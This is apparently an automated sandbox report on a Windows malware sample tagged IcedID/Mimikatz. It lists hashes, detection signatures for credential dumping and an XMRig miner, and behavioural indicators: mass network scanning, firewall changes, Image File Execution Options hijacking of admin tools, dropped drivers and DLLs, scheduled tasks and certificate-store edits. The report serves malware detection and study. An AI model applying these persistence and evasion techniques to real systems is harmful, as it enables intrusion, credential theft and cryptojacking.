Analysis
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max time kernel
150s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
10-04-2024 18:46
Behavioral task
behavioral1
Sample
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe
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Size
7.0MB
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MD5
a9114bc30a0279a8562dd775a2a34f35
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SHA1
4982ef4de4498de9680c0e4dfbd6538fb5afdd04
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SHA256
19078f872d5005e9dd49212541f8e2270630dbe99b0d32152e5e8ed8c2a042c2
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SHA512
80272706690d45886cbda7447b12f440a1ad9cad5d13f1b109eff142d704f7404600f04184cccc59f7dcd8c4a0f7640a1c27bdb82f3afa93f044ab98a9cf5e1c
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
gkzutth.exedescription pid process target process PID 2440 created 300 2440 gkzutth.exe spoolsv.exe -
Contacts a large (18760) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1484-136-0x000000013F100000-0x000000013F1EE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 35 IoCs
Processes:
resource yara_rule behavioral1/memory/1884-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\isugpkis\gkzutth.exe UPX behavioral1/memory/2720-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\tjbrgizie\Corporate\vfshost.exe UPX behavioral1/memory/996-133-0x0000000000D60000-0x0000000000E4E000-memory.dmp UPX behavioral1/memory/1484-135-0x000000013F100000-0x000000013F1EE000-memory.dmp UPX behavioral1/memory/1484-136-0x000000013F100000-0x000000013F1EE000-memory.dmp UPX \Windows\Temp\tjbrgizie\flvstzhft.exe UPX behavioral1/memory/1652-142-0x000000013FE60000-0x000000013FEBB000-memory.dmp UPX C:\Windows\Temp\riuvilefa\tusert.exe UPX behavioral1/memory/1888-147-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1652-150-0x000000013FE60000-0x000000013FEBB000-memory.dmp UPX behavioral1/memory/1888-153-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/900-162-0x000000013F120000-0x000000013F17B000-memory.dmp UPX behavioral1/memory/1888-173-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-174-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/900-176-0x000000013F120000-0x000000013F17B000-memory.dmp UPX behavioral1/memory/2672-189-0x000000013F140000-0x000000013F19B000-memory.dmp UPX behavioral1/memory/2672-192-0x000000013F140000-0x000000013F19B000-memory.dmp UPX behavioral1/memory/2412-201-0x000000013FFC0000-0x000000014001B000-memory.dmp UPX behavioral1/memory/1888-199-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/2412-205-0x000000013FFC0000-0x000000014001B000-memory.dmp UPX behavioral1/memory/2064-213-0x000000013FCD0000-0x000000013FD2B000-memory.dmp UPX behavioral1/memory/2064-215-0x000000013FCD0000-0x000000013FD2B000-memory.dmp UPX behavioral1/memory/2188-220-0x000000013F3D0000-0x000000013F42B000-memory.dmp UPX behavioral1/memory/2188-222-0x000000013F3D0000-0x000000013F42B000-memory.dmp UPX behavioral1/memory/2796-227-0x000000013F6D0000-0x000000013F72B000-memory.dmp UPX behavioral1/memory/2796-229-0x000000013F6D0000-0x000000013F72B000-memory.dmp UPX behavioral1/memory/1888-231-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-233-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-234-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-250-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-251-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-252-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX behavioral1/memory/1888-254-0x000000013FDF0000-0x000000013FF10000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
Processes:
resource yara_rule behavioral1/memory/1888-153-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-173-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-174-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-199-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-231-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-233-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-234-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-250-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-251-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-252-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig behavioral1/memory/1888-254-0x000000013FDF0000-0x000000013FF10000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
Processes:
resource yara_rule behavioral1/memory/1884-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz \Windows\isugpkis\gkzutth.exe mimikatz behavioral1/memory/2720-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/996-134-0x0000000000D60000-0x0000000000E4E000-memory.dmp mimikatz behavioral1/memory/1484-136-0x000000013F100000-0x000000013F1EE000-memory.dmp mimikatz behavioral1/memory/2440-146-0x00000000027E0000-0x0000000002900000-memory.dmp mimikatz behavioral1/memory/2440-172-0x00000000027E0000-0x0000000002900000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
gkzutth.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts gkzutth.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts gkzutth.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 2084 netsh.exe 2916 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
gkzutth.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe gkzutth.exe -
Executes dropped EXE 17 IoCs
Processes:
gkzutth.exegkzutth.exewpcap.exeavpjtmhfs.exevfshost.exeflvstzhft.exetusert.exeflvstzhft.exexohudmc.exeflvstzhft.exegkzutth.exeflvstzhft.exeooeaya.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeierfsbrfg.exepid process 2720 gkzutth.exe 2440 gkzutth.exe 2764 wpcap.exe 1224 avpjtmhfs.exe 1484 vfshost.exe 1652 flvstzhft.exe 1888 tusert.exe 900 flvstzhft.exe 876 xohudmc.exe 2672 flvstzhft.exe 2236 gkzutth.exe 2412 flvstzhft.exe 2972 ooeaya.exe 2064 flvstzhft.exe 2188 flvstzhft.exe 2796 flvstzhft.exe 1824 ierfsbrfg.exe -
Loads dropped DLL 24 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exeavpjtmhfs.execmd.exegkzutth.execmd.exepid process 3008 cmd.exe 3008 cmd.exe 2704 cmd.exe 2764 wpcap.exe 2764 wpcap.exe 2764 wpcap.exe 2764 wpcap.exe 2764 wpcap.exe 636 cmd.exe 1224 avpjtmhfs.exe 1224 avpjtmhfs.exe 996 cmd.exe 996 cmd.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2928 cmd.exe -
Processes:
resource yara_rule C:\Windows\tjbrgizie\Corporate\vfshost.exe upx behavioral1/memory/1484-135-0x000000013F100000-0x000000013F1EE000-memory.dmp upx behavioral1/memory/1484-136-0x000000013F100000-0x000000013F1EE000-memory.dmp upx \Windows\Temp\tjbrgizie\flvstzhft.exe upx behavioral1/memory/1652-142-0x000000013FE60000-0x000000013FEBB000-memory.dmp upx C:\Windows\Temp\riuvilefa\tusert.exe upx behavioral1/memory/1888-147-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1652-150-0x000000013FE60000-0x000000013FEBB000-memory.dmp upx behavioral1/memory/1888-153-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/900-162-0x000000013F120000-0x000000013F17B000-memory.dmp upx behavioral1/memory/1888-173-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-174-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/900-176-0x000000013F120000-0x000000013F17B000-memory.dmp upx behavioral1/memory/2672-189-0x000000013F140000-0x000000013F19B000-memory.dmp upx behavioral1/memory/2440-190-0x00000000024F0000-0x000000000254B000-memory.dmp upx behavioral1/memory/2672-192-0x000000013F140000-0x000000013F19B000-memory.dmp upx behavioral1/memory/2412-201-0x000000013FFC0000-0x000000014001B000-memory.dmp upx behavioral1/memory/1888-199-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/2412-205-0x000000013FFC0000-0x000000014001B000-memory.dmp upx behavioral1/memory/2064-213-0x000000013FCD0000-0x000000013FD2B000-memory.dmp upx behavioral1/memory/2064-215-0x000000013FCD0000-0x000000013FD2B000-memory.dmp upx behavioral1/memory/2188-220-0x000000013F3D0000-0x000000013F42B000-memory.dmp upx behavioral1/memory/2188-222-0x000000013F3D0000-0x000000013F42B000-memory.dmp upx behavioral1/memory/2796-227-0x000000013F6D0000-0x000000013F72B000-memory.dmp upx behavioral1/memory/2796-229-0x000000013F6D0000-0x000000013F72B000-memory.dmp upx behavioral1/memory/1888-231-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-233-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-234-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-250-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-251-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-252-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx behavioral1/memory/1888-254-0x000000013FDF0000-0x000000013FF10000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 21 ifconfig.me 22 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
gkzutth.exewpcap.exexohudmc.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\ooeaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gkzutth.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\ooeaya.exe xohudmc.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
ierfsbrfg.exegkzutth.exe2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.execmd.exedescription ioc process File opened for modification C:\Windows\tjbrgizie\ptescsiac\Result.txt ierfsbrfg.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture32.dll gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimilib.dll gkzutth.exe File created C:\Windows\tjbrgizie\upbdrjv\swrpwe.exe gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.dll gkzutth.exe File opened for modification C:\Windows\isugpkis\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.xml gkzutth.exe File created C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ierfsbrfg.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tibe-2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture64.dll gkzutth.exe File created C:\Windows\isugpkis\gkzutth.exe 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe File created C:\Windows\tjbrgizie\UnattendGC\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tucl-1.dll gkzutth.exe File created C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File opened for modification C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libeay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libxml2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trfo-2.dll gkzutth.exe File created C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\cnli-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ucl.dll gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimidrv.sys gkzutth.exe File opened for modification C:\Windows\isugpkis\gkzutth.exe 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe File created C:\Windows\isugpkis\svschost.xml gkzutth.exe File created C:\Windows\ime\gkzutth.exe gkzutth.exe File opened for modification C:\Windows\tjbrgizie\Corporate\log.txt cmd.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\coli-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\exma-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ssleay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\scan.bat gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\crli-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\xdvl-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\Shellcode.ini gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.exe gkzutth.exe File created C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\vfshost.exe gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ip.txt gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\posh-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\zlib1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trch-1.dll gkzutth.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1292 sc.exe 1028 sc.exe 1272 sc.exe 952 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule \Windows\isugpkis\gkzutth.exe nsis_installer_2 C:\Windows\tjbrgizie\ptescsiac\wpcap.exe nsis_installer_1 C:\Windows\tjbrgizie\ptescsiac\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1724 schtasks.exe 1752 schtasks.exe 1884 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
gkzutth.exenetsh.exenetsh.exenetsh.exeflvstzhft.exenetsh.exeflvstzhft.exenetsh.exeflvstzhft.exeflvstzhft.exenetsh.exenetsh.exeflvstzhft.exenetsh.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f005e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\5a-c6-42-6a-32-77\WpadDecisionReason = "1" gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\5a-c6-42-6a-32-77\WpadDetectedUrl gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8CF9FA3F-E1A1-4281-B70F-AEF1CFB1E28E} 